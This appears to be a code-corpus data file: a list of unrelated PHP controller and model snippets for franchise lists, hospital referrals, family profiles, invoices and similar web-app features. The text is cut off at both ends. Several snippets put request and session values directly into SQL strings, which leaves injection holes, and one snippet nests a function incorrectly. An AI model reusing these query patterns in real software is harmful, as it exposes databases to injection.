\t\r\n\t\t\t\t\t\tleft outer join pnh_franchise_owners ow on ow.franchise_id=f.franchise_id \r\n\t\t\t\t\t\tleft outer join king_admin a on a.id=ow.admin\r\n\t\t\t\t\t\twhere 1 \r\n\t\t\t\t\t\";\r\n\t\t\t\t\t\r\n\t\t\tif($type == 2)\r\n\t\t\t{\r\n\t\t\t\t$cond .= \" and date(from_unixtime(f.created_on)) between ADDDATE(LAST_DAY(SUBDATE(curdate(), INTERVAL 1 MONTH)), 1) and LAST_DAY(SUBDATE(curdate(), INTERVAL 0 MONTH)) \";\r\n\t\t\t\t$sql .= $fil_cond = $cond; \r\n\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif($alpha)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and franchise_name like '$alpha%' \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond; \r\n\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\tif($type == 4)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and f.is_suspended = 1 \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond;\r\n\t\t\t\t}\r\n\t\t\t\telse if($type == 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t}else if($type != 5)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and f.is_suspended = 0 \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif($terr_id)\r\n\t\t\t\t\t$sql .= ' and f.territory_id = '.$terr_id;\r\n\t\t\t\t\t\r\n\t\t\t\tif($town_id)\r\n\t\t\t\t\t$sql .= ' and f.town_id = '.$town_id;\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t$sql .= \" group by f.franchise_id \"; \r\n\t\t\t\tif($type == 1)\r\n\t\t\t\t\t$sql .= \" order by f.created_on desc limit 20 \";\t\r\n\t\t\t\telse\r\n\t\t\t\t\t$sql .= \" order by f.franchise_name asc limit $pg,50\";\t\r\n\t\t\t\t \r\n\t\t\t\t$data['frans']= $this->db->query($sql)->result_array();\r\n\t\t\t\t\r\n\t\t\t\tif($type == 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t$data['total_frans'] = count($data['frans']);\r\n\t\t\t\t}else\r\n\t\t\t\t{\r\n\t\t\t\t\t$data['terr_list'] = $this->db->query(\"select distinct f.territory_id,territory_name from pnh_m_franchise_info f join pnh_m_territory_info b on f.territory_id = b.id where 1 $fil_cond order by territory_name \")->result_array();\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($terr_id)\r\n\t\t\t\t\t\t$fil_cond .= ' and f.territory_id = '.$terr_id;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif($terr_id)\r\n\t\t\t\t\t\t$data['town_list'] = $this->db->query(\"select distinct f.town_id,town_name from pnh_m_franchise_info f join pnh_towns b on f.town_id = b.id where 1 $fil_cond order by town_name \")->result_array();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$data['town_list'] = array();\r\n\t\t\t\t\t\r\n\t\t\t\t\t$data['total_frans'] = $this->db->query(\"select distinct f.franchise_id from pnh_m_franchise_info f where 1 $fil_cond group by f.franchise_id \")->num_rows();\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$data['pagination'] = '' ;\r\n\t\t\t\tif($type != 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->load->library('pagination');\r\n\t\t\t\t\r\n\t\t\t\t\t$config['base_url'] = site_url(\"admin/jx_getfranchiseslist/$type/$alpha/$terr_id/$town_id\");\r\n\t\t\t\t\t$config['total_rows'] = $data['total_frans'];\r\n\t\t\t\t\t$config['per_page'] = 50;\r\n\t\t\t\t\t$config['uri_segment'] = 7; \r\n\t\t\t\t\t$config['num_links'] = 10;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->config->set_item('enable_query_strings',false);\r\n\t\t\t\t\t$this->pagination->initialize($config); \r\n\t\t\t\t\t\r\n\t\t\t\t\t$data['pagination'] = $this->pagination->create_links();\r\n\t\t\t\t\t$this->config->set_item('enable_query_strings',true);\r\n\t\t\t\t}\r\n\t\t\t\t$data['sel_terr_id'] = $terr_id;\r\n\t\t\t\t$data['sel_town_id'] = $town_id; \r\n\t\t\t\t$data['type'] = $type;\r\n\t\t\t\t$data['alpha'] = $alpha;\r\n\t\t\t\t$data['pg'] = $pg;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t$this->load->view(\"admin/body/jx_show_franchises\",$data);\r\n\t\t\t}", "public function getInfo()\n\t{\n\t\treturn $this->resource->get($this->name)->getContent();\n\t}", "abstract public function information();", "public function show_fif(){\r\n\t\t$this->load->model('gs_admission/ajax_base_model', 'AB');\r\n\t\t$gf_id = $this->input->post('gf_id');\r\n\t\t$fifHtml = $this->show_fif_html($gf_id);\r\n\t\t$return = array(\"fH\"=>$fifHtml);\r\n\t\techo json_encode($return);\r\n\t}", "public function getDetail()\n {\n \t$request = \\Request::all();\n // add system log\n $this->systemLogs('view', 'information', $request);\n // End\n\n $information = false;\n $information_description = false;\n if(\\Request::has('information_id')) {\n $information = $this->information->getInformation($request['information_id']);\n\n if($information) {\n $information_description = $this->information->getInformationDescriptionByCode(['information_id'=>$request['information_id'], 'language_id'=>$request['language_id']]);\n }\n \n }\n\n if($information) {\n $this->data->information_id = $information->information_id;\n $this->data->icon = $information->icon;\n }else {\n $this->data->information_id = '';\n $this->data->icon = '';\n }\n\n if($information_description) {\n $this->data->title = $information_description->title;\n $this->data->description = $information_description->description;\n }else {\n $this->data->title = '';\n $this->data->description = '';\n }\n\n return view('information.detail', ['data'=>$this->data]);\n }", "abstract protected function getFeatures();", "private function createViewFamily()\n {\n $this->addView('ListFamiliaSample', 'FamiliaSample', 'families', 'fas fa-object-group');\n $this->addSearchFields('ListFamiliaSample', ['descripcion', 'codfamilia', 'madre']);\n $this->addOrderBy('ListFamiliaSample', ['codfamilia'], 'code');\n $this->addOrderBy('ListFamiliaSample', ['descripcion'], 'description');\n $this->addOrderBy('ListFamiliaSample', ['madre'], 'parent');\n\n $selectValues = $this->codeModel::all('familias', 'codfamilia', 'descripcion');\n $this->addFilterSelect('ListFamiliaSample', 'madre', 'parent', 'madre', $selectValues);\n }", "public function getFarmsVegetables(){\n\t\t$url = \"http://www.vermontfresh.net/member-search/MemberSearchForm?Keywords=&ProductCategoryID=5&Categories%5B13%5D=13&RegionID=&action_doMemberSearch=Search\";\n\t\treturn $this->parse_data($url);\n\t}", "public function get_res_info(){\n $data = M('resources')->where('state = 0 and uid ='.$_SESSION['admin']['id'].' and ocode ='.$_SESSION['admin']['school_id'])->field('id,uptime,size,title,srctitle')->select();\n $this->successajax('',$data);\n }", "public function from_hospital_info($referral_id){\n\t\tglobal $con;\n\t\t$hos_id=\"\";\n\t\t$query=\"SELECT from_hospital_id FROM referrals WHERE referral_id=\\\"$referral_id\\\" LIMIT 1\";\n\t\t$result=array();\n\t\t$result=$this->select($con,$query);\n\t\tforeach ($result as $key => $value) {\n\t\t\t$hos_id=$value['from_hospital_id'];\n\t\t}\n\t\t//select hospital info\n\t\tunset($result);\n\t\t$query1=\"SELECT hospitals.*,hospital_regions.region_title \n\t\t\t\t \tFROM hospitals JOIN hospital_regions ON\n\t\t \t\t\t\thospitals.location=hospital_regions.id \n\t\t \t\t\t\t\tWHERE hospital_id=\\\"$hos_id\\\"\";\n\n\t\t$result=$this->select($con,$query1);\n\t\treturn $result;\n\t}", "public function index_fournisseur()\n {\n \n $factureFournisseurs = Facture::where('type','fournisseur')->latest()->get();\n \n // dd($factureFournisseurs);\n \n return view ('facture.index_fournisseur',compact(['factureFournisseurs']));\n\n \n }", "function info()\n\t{\n\t\tif (get_forum_type()!='ocf') return NULL;\n\t\tif (($GLOBALS['FORUM_DB']->query_value('f_members','COUNT(*)')<=3) && (get_param('id','')!='ocf_members') && (get_param_integer('search_ocf_members',0)!=1)) return NULL;\n\n\t\trequire_lang('ocf');\n\n\t\t$info=array();\n\t\t$info['lang']=do_lang_tempcode('MEMBERS');\n\t\t$info['default']=false;\n\t\t$info['special_on']=array();\n\t\t$info['special_off']=array();\n\t\t$info['user_label']=do_lang_tempcode('USERNAME');\n\t\t$info['days_label']=do_lang_tempcode('JOINED_AGO');\n\n\t\t$extra_sort_fields=array();\n\t\tif (has_specific_permission(get_member(),'view_profiles'))\n\t\t{\n\t\t\trequire_code('ocf_members');\n\t\t\t$rows=ocf_get_all_custom_fields_match(NULL,1,1);\n\t\t\tforeach ($rows as $row)\n\t\t\t{\n\t\t\t\t$extra_sort_fields['field_'.strval($row['id'])]=$row['trans_name'];\n\t\t\t}\n\t\t}\n\t\t$info['extra_sort_fields']=$extra_sort_fields;\n\n\t\treturn $info;\n\t}", "public function getAll()\n {\n return $this->_info;\n\n }", "public function getMyInfo()\n {\n // header and module properties\n\t\t$this->data['page_module'] = MY_ACCOUNT_MODULE;\n\t\t$this->data['page_title'] = MY_INFO_TITLE;\n\t\t\n // to preserve previous url, check if the validation failed\n if (!Session::has('danger')) {\n $this->setPreviousListURL(strtolower(MY_INFO_TITLE)); \n \n // also remove the user_photo session\n Session::forget('user_photo');\n }\n\t\t\n // get record\n $this->data[\"user\"] = Auth::user();\n \n // get record\n $this->data[\"user_contact\"] = UserContact::userId(Auth::user()->id)->get();\n\n // get countries\n $this->data[\"countries\"] = Country::countryStatus(ACTIVE)->countrySort('country_name', ASCENDING)->get();\n \n // get gender\n $this->data[\"gender\"] = getOptionGender();\n \n // get civil status\n $this->data[\"civil_status\"] = getOptionCivilStatus();\n \n // get civil status\n $this->data[\"relationship\"] = getOptionRelationship();\n \n // get status\n $this->data[\"status\"] = getOptionStatus();\n \n // get previously selected picture\n if (Session::has('user_photo')) {\n $this->data['user_photo'] = Session::get('user_photo');\n } else {\n $this->data['user_photo'] = \"\";\n }\n\n // load the show form\n return View::make('my_account.show')->with('data', $this->data);\n }", "function getFoodpornById($fid)\n {\n $stmt = self::$_db->prepare(\"SELECT * FROM foodporn WHERE id_foodporn=:fid\");\n $stmt->bindParam(\":fid\", $fid);\n $stmt->execute();\n return $stmt->fetchAll();\n \n \n // Gets all History Foodporns\n function getFoodpornsByHostory()\n {\n $stmt = self::$_db->prepare(\"SELECT * FROM foodporn WHERE fs_user=:uid\");\n $uid = self::getUserID();\n $stmt->bindParam(\":uid\", $uid);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n } \n }", "function InfGetReferralInfo($inf_contact_id) {\n\n $object_type = \"Referral\";\n $class_name = \"Infusionsoft_\" . $object_type;\n $object = new $class_name();\n // Order by most recent IP\n#\t$objects = Infusionsoft_DataService::query(new $class_name(), array('ContactId' => $payment['ContactId']));\n $objects = Infusionsoft_DataService::queryWithOrderBy(new $class_name(), array('ContactId' => $inf_contact_id), 'DateSet', false);\n\n $referral_array = array();\n foreach ($objects as $i => $object) {\n $referral_array[$i] = $object->toArray();\n }\n\n $aff_ip_array = array();\n $j = 0;\n foreach ($referral_array as $i => $referral) {\n if (!in_array($referral['IPAddress'], $aff_ip_array)) {\n $j++;\n $aff_ip_array[$j]['ip'] = $referral['IPAddress'];\n $aff_ip_array[$j]['inf_aff_id'] = $referral['AffiliateId'];\n }\n }\n return $aff_ip_array;\n}", "function get_children_data(){\n\t\t$cdata=array();\n\t\t$par_id=$this->get_current_user_id();\n\t\t$fam_id=$this->get_family_id($par_id);\n\t\t$status=$this->get_family_children($fam_id,$cdata);\n\t\treturn $cdata;\n\t}", "public function get_filiales() {\n $this->db->select('*');\n $this->db->from('filial');\n $this->db->join('comuna', 'filial.comuna_id = comuna.comuna_id', 'left');\n $query = $this->db->get();\n //$query = $this->db->get('filial');\n return $query->result_array();\n }", "private function cargar_parametros_familias(){\n $sql = \"SELECT id,codigo,descripcion FROM mos_requisitos_familias ORDER BY orden\";\n $columnas_fam = $this->dbl->query($sql, array());\n return $columnas_fam;\n }", "public function to_hospital_info($referral_id){\n\t\tglobal $con;\n\t\t$hos_id=\"\";\n\t\t$query=\"SELECT to_hospital_id FROM referrals WHERE referral_id=\\\"$referral_id\\\" LIMIT 1\";\n\t\t$result=array();\n\t\t$result=$this->select($con,$query);\n\t\tforeach ($result as $key => $value) {\n\t\t\t$hos_id=$value['to_hospital_id'];\n\t\t}\n\t\t//select hospital info\n\t\tunset($result);\n\t\t$query1=\"SELECT hospitals.*,hospital_regions.region_title \n\t\t\t\t \tFROM hospitals JOIN hospital_regions ON\n\t\t \t\t\t\thospitals.location=hospital_regions.id \n\t\t \t\t\t\t\tWHERE hospital_id=\\\"$hos_id\\\"\";\n\n\t\t$result=$this->select($con,$query1);\n\t\treturn $result;\n\t}", "public function getLesIdFrais(){\r\n\t\t$req = \"select fraisforfait.id as idfrais from fraisforfait order by fraisforfait.id\";\r\n\t\t$res = PdoGsb::$monPdo->query($req);\r\n\t\t$lesLignes = $res->fetchAll();\r\n\t\treturn $lesLignes;\r\n\t}", "public function getInfo()\n {\n $result = $this->client->GetInfo();\n if ($this->errorHandling($result, 'Could not get info from FRITZ!Box')) {\n return;\n }\n\n return $result;\n }", "public function get_franchise_images($franchise_id) {\n return $this->get_images($franchise_id, 'franchise');\n }", "public function show($id)\n {\n //event(new EventName('rebbeca.goncalves@doitcloud.consulting'));\n $users = DB::table('users')->where('id', Auth::id() )->get();\n $family = DB::table('family')\n ->join('users', 'family.activeUser', '=', 'users.id')\n ->where('family.parent', Auth::id())\n ->select('family.*', 'users.firstname', 'users.profile_photo', 'users.age', 'users.name', 'users.gender')\n ->get();\n $nodes = array();\n //Json que guarda datos de familiares para generar externalidad//\n if($users[0]->profile_photo != '')\n $photou = $users[0]->profile_photo;\n else{\n if($users[0]->gender == \"male\")\n $photou = asset('profile-42914_640.png');\n if($users[0]->gender == \"female\")\n $photou = asset('profile-female.png');\n if($users[0]->gender == \"other\" || $users[0]->gender == '')\n $photou = asset('profile-other.png');\n }\n\n if(count($family) < 1){\n array_push( $nodes, ['name' => 'Yo', 'photo' => $photou.'?'. Carbon::now()->format('h:i'), 'id' => '0']);\n\n for($i = 1; $i < 2; $i++){\n array_push($nodes, ['name' => 'Agregar familiar', 'target' => [0] , 'photo' => 'https://image.freepik.com/iconen-gratis/zwart-plus_318-8487.jpg' , 'id' => 'n']);\n }\n } else {\n \n array_push( $nodes, ['name' => 'Yo', 'photo' => $photou. '?'. Carbon::now()->format('h:i'), 'id' => $users[0]->id]);\n for($i = 0; $i < count($family); $i++){\n $session = \"0\";\n if($family[$i]->relationship == \"son\" && $family[$i]->age < 18){\n $session = \"1\";\n } \n if($family[$i]->profile_photo != null){\n array_push($nodes, ['name' => $family[$i]->firstname, 'target' => [0] , 'photo' => $family[$i]->profile_photo. '?'. Carbon::now()->format('h:i') , 'id' => $family[$i]->activeUser, 'relationship' => trans('adminlte::adminlte.'.$family[$i]->relationship), \"session\" => $session, 'namecom' => $family[$i]->name]);\n }else {\n if($family[$i]->gender == \"male\")\n $photof = asset('profile-42914_640.png');\n if($family[$i]->gender == \"female\")\n $photof = asset('profile-female.png');\n if($family[$i]->gender == \"other\" || $family[$i]->gender == '')\n $photof = asset('profile-other.png');\n\n array_push($nodes, ['name' => $family[$i]->firstname, 'target' => [0] , 'photo' => $photof , 'id' => $family[$i]->activeUser, 'relationship' => trans('adminlte::adminlte.'.$family[$i]->relationship), \"session\" => $session, 'namecom' => $family[$i]->name]);\n }\n }\n }\n //Json que guarda datos de familiares para generar externalidad// \n\n\n #Code HDHM\n $question = DB::table('questions_clinic_history')\n ->join('answers_clinic_history', 'questions_clinic_history.id', '=', 'answers_clinic_history.question')\n ->where('answers_clinic_history.question','!=', null)\n ->select('answers_clinic_history.answer', 'answers_clinic_history.parent', 'answers_clinic_history.parent_answer','questions_clinic_history.question', 'questions_clinic_history.id', 'answers_clinic_history.id AS a')\n ->get();\n\n //dd($question); \n\n $answer;\n\n for ($i=0; $i < count($question); $i++) { \n if ($question[$i]->question == \"¿Está actualmente tomando algún fármaco con prescripción?\") {\n $answer = $question[$i]->parent_answer;\n break;\n }\n }\n\n $appointments = DB::table('medical_appointments')\n ->where('user', '=', Auth::id())\n ->get();\n $payments = DB::table('paymentsmethods')\n ->where('owner','=', Auth::id())\n ->get(); \n\n return view('profile', [\n \n /** SYSTEM INFORMATION */\n\n 'userId' => Auth::id(),\n\n\n /** INFORMATION USER */\n\n 'firstname' => $users[0]->firstname,\n 'lastname' => $users[0]->lastname,\n 'email' => $users[0]->email,\n\n 'name' => $users[0]->name,\n\n 'username' => $users[0]->username,\n 'age' => $users[0]->age,\n 'photo' => $users[0]->profile_photo,\n 'date' => $users[0]->created_at,\n\n /** PERSONAL INFORMATION */\n\n 'gender' => $users[0]->gender,\n 'occupation' => $users[0]->occupation,\n 'scholarship' => $users[0]->scholarship,\n 'maritalstatus' => $users[0]->maritalstatus,\n 'mobile' => $users[0]->mobile,\n 'updated_at' => $users[0]->updated_at,\n 'created_at' => $users[0]->created_at,\n 'current_prescription' => $answer,\n /** ADDRESS FISICAL USER */\n\n 'country' => ( empty($users[0]->country) ) ? '' : $users[0]->country, \n 'state' => ( empty($users[0]->state) ) ? '' : $users[0]->state, \n 'delegation' => ( empty($users[0]->delegation) ) ? '' : $users[0]->delegation, \n 'colony' => ( empty($users[0]->colony) ) ? '' : $users[0]->colony, \n 'street' => ( empty($users[0]->street) ) ? '' : $users[0]->street, \n 'streetnumber' => ( empty($users[0]->streetnumber) ) ? '' : $users[0]->streetnumber, \n 'interiornumber'=> ( empty($users[0]->interiornumber) ) ? '' : $users[0]->interiornumber, \n 'postalcode' => ( empty($users[0]->postalcode) ) ? '' : $users[0]->postalcode,\n 'longitude' => ( empty($users[0]->longitude) ) ? '' : $users[0]->longitude,\n 'latitude' => ( empty($users[0]->latitude) ) ? '' : $users[0]->latitude,\n 'nodes' => json_encode($nodes),\n 'countfamily' => count($family),\n 'countappo' => count($appointments),\n 'countpayments' => count($payments)\n ]\n );\n }", "public function getEx1() {\n $incidents = \\DB::table('incidents')->get();\n\n // Output the results\n foreach ($incidents as $incident) {\n echo $incident->neighborhood;\n }\n }", "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject('sitecrowdfunding_project'))\n return $this->setNoRender();\n $this->view->project = $project = Engine_Api::_()->core()->getSubject();\n //GET QUICK INFO DETAILS\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($project);\n if (Engine_API::_()->seaocore()->checkSitemobileMode('fullsite-mode')) {\n $this->view->show_fields = $this->view->fieldValueLoop($project, $this->view->fieldStructure);\n }\n $params = $this->_getAllParams();\n $this->view->params = $params;\n if ($this->_getParam('loaded_by_ajax', false)) {\n $this->view->loaded_by_ajax = true;\n if ($this->_getParam('is_ajax_load', false)) {\n $this->view->is_ajax_load = true;\n $this->view->loaded_by_ajax = false;\n if (!$this->_getParam('onloadAdd', false))\n $this->getElement()->removeDecorator('Title');\n $this->getElement()->removeDecorator('Container');\n } else {\n return;\n }\n }\n\n $tableOtherinfo = Engine_Api::_()->getDbTable('otherinfo', 'sitecrowdfunding');\n $this->view->address = $address = $tableOtherinfo->getColumnValue($project->getIdentity(), 'contact_address');\n $this->view->phone = $phone = $tableOtherinfo->getColumnValue($project->getIdentity(), 'contact_phone');\n $this->view->email = $email = $tableOtherinfo->getColumnValue($project->getIdentity(), 'contact_email');\n\n\n $fundingDatas = Engine_Api::_()->getDbTable('externalfundings','sitecrowdfunding')->getExternalFundingAmount($project->getIdentity());\n //$this->view->totalFundingAmount = $fundingDatas['totalFundingAmount'];\n $this->view->total_backer_count = $fundingDatas['memberCount'] + $fundingDatas['orgCount'];\n\n $sitecrowdfundingSpecificationProject = Zend_Registry::isRegistered('sitecrowdfundingSpecificationProject') ? Zend_Registry::get('sitecrowdfundingSpecificationProject') : null;\n\n if (empty($sitecrowdfundingSpecificationProject))\n return $this->setNoRender();\n }", "function FacilityReport($factory_id = null) {\n\t\tif( isset($_POST['facility']) )\t$factory_id = $_POST['facility'];\n\t\t\n\t\tif( !empty($factory_id)){\n\t\n\t\t\t$id = $this->Auth->User('id');\n\t\t\t$this->loadModel('Factory');\n\t\t\t\n\t\t\t$res = $this->Admin->query(\"SELECT factories.*, rating_rules.section, rating_rules.point, rating_rules.point_hnm, rating_rules.point_wrap\n\t\t\t\tFROM factories \n\t\t\t\tLEFT JOIN ratings ON factories.id=ratings.factory_id \n\t\t\t\tLEFT JOIN rating_rules ON ratings.section=rating_rules.section \n\t\t\t\tWHERE ratings.points=rating_rules.point AND factories.status=1 AND factories.id = $factory_id\n\t\t\t\tORDER BY rating_rules.section ASC\");\n\t\t\t$this->set('factory', $res);\n\t\t\t\n\t\t\t$this->set('followups',$this->Admin->query(\"SELECT DISTINCT(created),doc,fw_date FROM `followups` WHERE factory_id = $factory_id\") );\n\t\t\t\n\t\t}\n\t\telse $this->redirect(array('controller' => 'admins', 'action' => 'index'));\t\t\t\n\t}", "public function find(){\n\t\t$famid = \\Input::get('famid');\n\t\tforeach (Family::getto(\"Show\")->get(['id']) as $key => $value) {\n \t \t\t$famarray[$key] = $value->id ;\n \t \t}\n \t \tif(! in_array($famid, $famarray )){\n \t \t\treturn redirect('/') ;\n \t \t}\n\n\t \t$members = Person::where('family_id','=',$famid)->get(['id','name','nickname']);\n\t \t\n\t\t//echo $members[0]->id ;\n\t\tforeach ($members as $key => $value) {\n\t\t\t$members[$key]->name = $this->getfullname($value->id, $value->name, $value->nickname) ;\n\t\t}\n\t \treturn \\Response::make($members);\n\t}", "public function getCountriesInfo();", "function get_franchisebymenu_id($menu_id=0,$territory_id=0,$townid=0)\r\n\t\t{\r\n\t\t\t$cond='';\r\n\t\t\t\r\n\t\t\tif(!$territory_id)\r\n\t\t\t{\r\n\t\t\t\t$territory_id=$this->input->post('territoryid');\r\n\t\t\t\tif($territory_id)\r\n\t\t\t\t\tif(is_array($territory_id))\r\n\t\t\t\t\t\t$territory_id=implode(',',array_filter($territory_id));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(!$townid)\r\n\t\t\t{\r\n\t\t\t\t$townid=$this->input->post('townid');\r\n\t\t\t\tif($townid)\r\n\t\t\t\t\tif(is_array($townid))\r\n\t\t\t\t\t\t$townid=implode(',',array_filter($townid));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(!$menu_id)\r\n\t\t\t{\r\n\t\t\t\t$menu_id=$this->input->post('menuid');\r\n\t\t\t\tif($menu_id)\r\n\t\t\t\t\tif(is_array($menu_id))\r\n\t\t\t\t\t\t$menu_id=implode(',',array_filter($menu_id));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif($menu_id)\r\n\t\t\t\t$cond.=\" and a.menuid in ($menu_id)\";\r\n\t\t\r\n\t\t\tif($territory_id )\r\n\t\t\t\t$cond.=\" and b.territory_id in ($territory_id)\";\r\n\t\t\t\r\n\t\t\tif($townid)\r\n\t\t\t\t$cond.=\" and b.town_id in ($townid) \";\r\n\t\t\t\r\n\r\n\t\t\t$user=$this->auth_pnh_employee();\r\n\t\t\t$franchise_list = $this->db->query(\"SELECT a.fid,b.franchise_name\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tFROM `pnh_franchise_menu_link`a\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tJOIN pnh_m_franchise_info b ON b.franchise_id=a.fid\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE b.is_suspended=0 AND a.status=1 $cond\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tgroup by a.fid\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t\t\t\torder by b.franchise_name asc \");\r\n\t\t\t$output=array();\r\n\t\t\tif($franchise_list ->num_rows())\r\n\t\t\t{\r\n\t\t\t\t$output['menu_fran_list'] = $franchise_list->result_array();\r\n\t\t\t\t$output['status']='success';\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$output['status']='errorr';\r\n\t\t\t\t$output['message']='No franchise Found';\r\n\t\t\t}\r\n\t\t\techo json_encode($output);\r\n\t\t}", "public function getFareDetails()\n {\n return isset($this->FareDetails) ? $this->FareDetails : null;\n }", "public function bankdetailFields()\n {\n $fullResult = $this->client->call(\n 'crm.requisite.bankdetail.fields'\n );\n return $fullResult;\n }", "function consultarFacultades() {\r\n $cadena_sql=$this->sql->cadena_sql(\"datos_facultades\",\"\");\r\n $resultado=$this->ejecutarSQL($this->configuracion, $this->accesoOracle, $cadena_sql,\"busqueda\");\r\n return $resultado;\r\n }", "public function allRest(){\n\t\t$restaurantes = DB::SELECT('SELECT * FROM pf.res_restaurants where restaurant_id = parent_restaurant_id and activate = 1');\n\t\t$landing = LandingPage::select('header','logo','landing_page_id')->get();\n\n\t\treturn View::make('web.restaurantes')\n\t\t\t->with('restaurantes', $restaurantes)\n\t\t\t->with('landing', $landing);\n\t}", "public function getFeatures() {\n return $this->sendRequest(self::HTTP_GET, \"/\".self::GANETI_RAPI_VERSION.\"/features\");\n }", "public function getSpecifics() {}", "public function searchFacility($facID): Faclities\n {\n }", "public function getDetalle();", "function get_franimeischdisc_pid($fid,$pid)\r\n\t{\r\n\t\t$ddet_res = $this->db->query(\"select menuid,catid,brandid from king_deals a join king_dealitems b on a.dealid = b.dealid where pnh_id = ? \",$pid);\r\n\t\tif($ddet_res->num_rows())\r\n\t\t{\r\n\t\t\t$ddet = $ddet_res->row_array();\r\n\t\t\treturn @$this->db->query(\"select scheme_type,credit_value,if(scheme_type,concat(credit_value,'%'),concat('Rs ',credit_value)) as disc,\r\n\t\t\t\t\t\t\t\t\t\t\tmenuid,categoryid,brandid \r\n\t\t\t\t\t\t\t\t\t\t\tfrom imei_m_scheme \r\n\t\t\t\t\t\t\t\t\t\t\twhere franchise_id = ? and brandid = ? and categoryid = ? and menuid = ?\r\n\t\t\t\t\t\t\t\t\t\t\tand unix_timestamp() between scheme_from and scheme_to \r\n\t\t\t\t\t\t\t\t\t\t\tand is_active = 1 order by id desc limit 1\",array($fid,$ddet['brandid'],$ddet['catid'],$ddet['menuid']))->row()->disc;\r\n\t\t}\r\n\t\treturn 0;\t\r\n\t}", "function visa_for_friends()\r\n {\r\n $data['page_meta'] = get_page_meta(ADVERTISING_VISA_FOR_FRIENDS_PAGE, null);\r\n \r\n $data = get_page_navigation($data, $data['is_mobile'], ADVERTISING_VISA_FOR_FRIENDS_PAGE);\r\n \r\n $data['countries'] = $this->Visa_Model->get_nationalities(true);\r\n \r\n $data['main_view'] = load_view('advertising/visa_for_friends', $data, $data['is_mobile']);\r\n \r\n return $data;\r\n }", "public function get_data();", "function get_familydetail($ID)\r\n {\r\n return $this->db->get_where('FamilyDetails',array('Person_ID'=>$ID))->row_array();\r\n }", "function get_all_familydetails()\r\n {\r\n $query = $this->db->query(\"CALL displayFamily()\"); \r\n return $query->result_array();\r\n }", "public function frs(){\n\t\t$nim = $this->uri->segment(3);\n\t\t$data['data_frs'] = $this->m_aka->frs($nim);\n\t\t$data['data_mhs'] = $this->m_aka->frs_data_id($nim);\n\t\t$data['content']='mahasiswa/ch_frs';\n\t\t$this->load->view('content',$data);\n\t}", "public function get_bydeler_info()\n\t{\n\t\t$bydeler = array();\n\t\tforeach (game::$bydeler as $bydel)\n\t\t{\n\t\t\t$bydeler[$bydel['id']] = array(\n\t\t\t\t\"cars\" => 0,\n\t\t\t\t\"b_id\" => $bydel['id'],\n\t\t\t\t\"b_active\" => $bydel['active'],\n\t\t\t\t\"ff_id\" => null,\n\t\t\t\t\"ff_name\" => null,\n\t\t\t\t\"garage\" => null,\n\t\t\t\t\"garage_max_cars\" => null,\n\t\t\t\t\"garage_free\" => 0,\n\t\t\t\t\"garage_next_rent\" => null\n\t\t\t);\n\t\t}\n\t\t\n\t\t// antall biler vi har i de ulike bydelene (garasjene)\n\t\t$result = \\Kofradia\\DB::get()->query(\"\n\t\t\tSELECT b_id, COUNT(id) AS ant\n\t\t\tFROM users_gta\n\t\t\tWHERE ug_up_id = \".$this->up->id.\"\n\t\t\tGROUP BY b_id\");\n\t\twhile ($row = $result->fetch())\n\t\t{\n\t\t\tif (!isset($bydeler[$row['b_id']])) continue;\n\t\t\t$bydeler[$row['b_id']]['cars'] = $row['ant'];\n\t\t}\n\t\t\n\t\t// informasjon om garasjene vi har\n\t\t$result = \\Kofradia\\DB::get()->query(\"\n\t\t\tSELECT ugg_b_id, ugg_places, ugg_time_next_rent, ff_id, ff_name\n\t\t\tFROM users_garage\n\t\t\t\tLEFT JOIN ff ON ff_id = ugg_ff_id\n\t\t\tWHERE ugg_up_id = \".$this->up->id);\n\t\twhile ($row = $result->fetch())\n\t\t{\n\t\t\tif (!isset($bydeler[$row['ugg_b_id']])) continue;\n\t\t\t$bydeler[$row['ugg_b_id']]['garage'] = true;\n\t\t\t$bydeler[$row['ugg_b_id']]['ff_id'] = $row['ff_id'];\n\t\t\t$bydeler[$row['ugg_b_id']]['ff_name'] = $row['ff_name'];\n\t\t\t$bydeler[$row['ugg_b_id']]['garage_max_cars'] = $row['ugg_places'];\n\t\t\t$bydeler[$row['ugg_b_id']]['garage_free'] = max(0, $row['ugg_places'] - $bydeler[$row['ugg_b_id']]['cars']);\n\t\t\t$bydeler[$row['ugg_b_id']]['garage_next_rent'] = $row['ugg_time_next_rent'];\n\t\t}\n\t\t\n\t\treturn $bydeler;\n\t}", "private function _get_info() {\n\n\t\t/* Grab the basic information from the catalog and return it */\n\t\t$sql = \"SELECT * FROM `access_list` WHERE `id`='\" . 